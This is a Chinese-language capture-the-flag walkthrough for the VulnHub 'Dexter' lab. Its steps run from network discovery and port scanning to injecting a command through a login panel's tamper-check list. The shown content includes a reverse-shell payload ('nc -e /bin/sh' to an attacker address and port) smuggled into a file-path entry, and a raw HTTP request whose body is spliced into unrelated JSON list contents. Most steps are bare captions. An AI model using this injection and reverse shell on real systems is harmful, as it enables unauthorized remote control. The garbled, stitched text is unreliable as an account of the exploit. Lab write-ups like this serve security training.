下载地址

https://download.vulnhub.com/botchallenges/MurderingDexter.zip 

实战演练

使用netdiscover命令查找靶机的IP

使用nmap查看靶机开放的端口

在浏览器打开

爆破目录

登录页面有输入框，试试注入

POST /Panel/ HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://192.168.0.107/Panel/ Content-Type: application/x-www-form-urlencoded Content-Length: 40 Connection: close Cookie: PHPSESSID=8q075cd5s8okkfpdv4q57ns722 Upgrade-Insecure-Requests: 1  username=test/bin/nc -nv -e /bin/sh 192.168.0.104 7777 #": "d8fa4356213b6ce9253f55acdff780ac",     "/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac",     "/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2",     "/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3",     "/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed",     "/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97",     "/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15",     "/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42",     "/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423",     "/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95",     "/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec",     "/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c",     "/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64" } 

权限不够修改不了

上传list

mv提示权限不够，换cat命令

$ cat /var/www/Panel/exes/antitamper.list > antitamper.list $ cat antitamper.list { 	"';/bin/nc -nv -e /bin/sh 192.168.0.104 7777 #": "d8fa4356213b6ce9253f55acdff780ac",     "/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac",     "/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2",     "/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3",     "/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed",     "/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97",     "/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15",     "/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42",     "/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423",     "/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95",     "/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec",     "/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c",     "/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64" }  

转载请注明来自网盾网络安全培训，本文标题：《CTF靶场系列-Bot Challenges: Dexter》

标签：ctf靶场系列